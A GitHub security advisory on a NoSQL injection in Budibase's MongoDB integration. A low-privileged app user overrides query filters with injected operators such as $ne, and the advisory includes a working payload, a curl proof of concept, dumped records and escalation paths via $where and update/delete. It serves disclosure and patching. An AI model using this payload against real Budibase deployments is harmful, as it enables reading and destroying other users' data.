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NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete

High
mjashanks published GHSA-pmpg-2mxq-6xwr Jul 22, 2026

Package

npm @budibase/server (npm)

Affected versions

<3.40.0

Patched versions

3.40.0

Description

Summary

An end-user injection in Budibase's MongoDB datasource lets any BASIC app user bypass the builder's query-level access controls. Builders scope MongoDB reads per-user with bindings like {"email": "{{ currentUser.email }}"} so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with noEscaping: true and then JSON.parsed, Bob (a BASIC user) overrides the builder's filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through interpolateSQL(); the MongoDB path has no equivalent, so the scoping pattern Budibase's own docs show is unsafe.

Details

Enrichment

packages/server/src/sdk/workspace/queries/queries.ts:105-125 enriches every string field of the query with handlebars, then parses the enriched json field:

enrichedQuery[key] = processStringSync(fields[key], parameters, {
  noEscaping: true,
  noHelpers: true,
  escapeNewlines: true,
})
// ...
enrichedQuery.json = JSON.parse(
  enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody
)

noEscaping: true turns {{name}} into {{{name}}}, which Handlebars renders without HTML-escaping. Any " or } the attacker supplies lands verbatim in the enriched string. JSON.parse then produces a structured object whose top-level keys and operators came from the parameter value.

Execution

packages/server/src/integrations/mongodb.ts:499-512:

async read(query: MongoDBQuery) {
  try {
    await this.connect()
    const db = this.client.db(this.config.db)
    const collection = db.collection(query.extra.collection)
    let json = this.createObjectIds(query.json)
    switch (query.extra.actionType) {
      case "find": {
        if (json) {
          return await collection.find(json).toArray()
        }

createObjectIds walks the object and rewrites strings that look like ObjectId(...). It does not strip $-prefixed keys and does not reject operator-shaped values. The injected filter reaches collection.find unchanged.

For comparison, SQL datasources go through interpolateSQL at packages/server/src/threads/query.ts:145, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent.

Duplicate-key trick

The template gives the attacker one substitution point inside the name value. The outer {"name": " / "} is fixed. The attacker's payload:

x", "name": {"$ne": "x"}, "$comment": "bud-033

Renders to:

{"name": "x", "name": {"$ne": "x"}, "$comment": "bud-033"}

JSON.parse keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node's JSON.parse keep the last), so the parsed object is:

{ name: { $ne: "x" }, $comment: "bud-033" }

$comment is a MongoDB meta operator that the server accepts and ignores, so it consumes the template's trailing "} without restricting the query. The filter that reaches MongoDB is name != "x", which matches every document.

Proof of Concept

Tested against Budibase 3.35.8 (master at f960e36) and MongoDB 6.

Step 1: Admin creates a MongoDB datasource and seeds three documents:

docker run -d --name mongo -p 27017:27017 mongo:6
docker exec mongo mongosh --quiet --eval '
  db = db.getSiblingDB("testdb");
  db.users.insertMany([
    {name:"alice", email:"alice@x.com", secret:"public-alice"},
    {name:"bob",   email:"bob@x.com",   secret:"PRIVATE-BOB"},
    {name:"eve",   email:"eve@x.com",   secret:"PRIVATE-EVE"}
  ]);'

Step 2: Alice, a builder, configures the datasource and writes a MongoDB query find-by-name whose json field is {"name": "{{name}}"}. She publishes the app and grants Bob (BASIC) a role on it.

Step 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. POST /api/queries/:queryId is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users):

curl -sS -b "$BOB_COOKIE" -X POST "$BASE/api/queries/$QUERY_ID" \
  -H "Content-Type: application/json" -H "x-budibase-app-id: $PROD_APP" \
  -d '{"parameters":{"name":"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033"}}'

Legitimate name=alice returned only Alice:

[{"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"}]

The injection payload returned all three documents:

[
  {"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"},
  {"_id":"...","name":"bob",  "email":"bob@x.com",  "secret":"PRIVATE-BOB"},
  {"_id":"...","name":"eve",  "email":"eve@x.com",  "secret":"PRIVATE-EVE"}
]

MongoDB's profiling confirmed the filter that reached the server:

{"find":"users","filter":{"name":{"$ne":"never-matches"},"$comment":"bud-033"}}

Impact

The builder's per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone's.

Concrete scenario: builder publishes an app whose "My records" screen runs a MongoDB query with json = {"email": "{{ currentUser.email }}"}. Each app user is supposed to see only the rows where email matches their session. Bob, a BASIC user in that app, sends bob@x.com", "email": {"$ne": "x"}, "$comment": "x as the currentUser.email binding replacement and receives every row in the collection, including other tenants' users, admin records, and any secret fields the builder stored alongside.

The blast radius depends on what the builder exposed:

  • Read queries: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users' secrets).
  • $where operator: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels.
  • $function / $accumulator (MongoDB 4.4+): arbitrary JS in aggregation stages.
  • $lookup: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them.
  • update / delete action types: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach.

The blast radius is the builder's own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer's external Mongo, so the attacker reads and writes data the builder's connection has access to and does not cross into Budibase's tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern ({{binding}} inside the JSON body) is the exact shape Budibase's documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the $where / $lookup / write-action paths exist but depend on what primitives the builder exposed.

Recommended Fix

Strip $-prefixed keys from any object that originates from user-controlled parameters before it reaches collection.find/updateOne/deleteOne. A single guard in createObjectIds covers the read, update, and delete paths:

// packages/server/src/integrations/mongodb.ts:394 (createObjectIds)
const DANGEROUS = new Set([
  "$where", "$function", "$accumulator",
  "$expr", "$regex", "$ne", "$nin", "$gt", "$gte", "$lt", "$lte",
  "$or", "$and", "$nor", "$not", "$exists", "$type", "$mod",
  "$text", "$comment",
])

function stripOperators(obj: any): any {
  if (obj === null || typeof obj !== "object") return obj
  if (Array.isArray(obj)) return obj.map(stripOperators)
  const cleaned: Record<string, any> = {}
  for (const [k, v] of Object.entries(obj)) {
    if (DANGEROUS.has(k)) continue
    cleaned[k] = stripOperators(v)
  }
  return cleaned
}

A safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class.


Found by aisafe.io

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Credits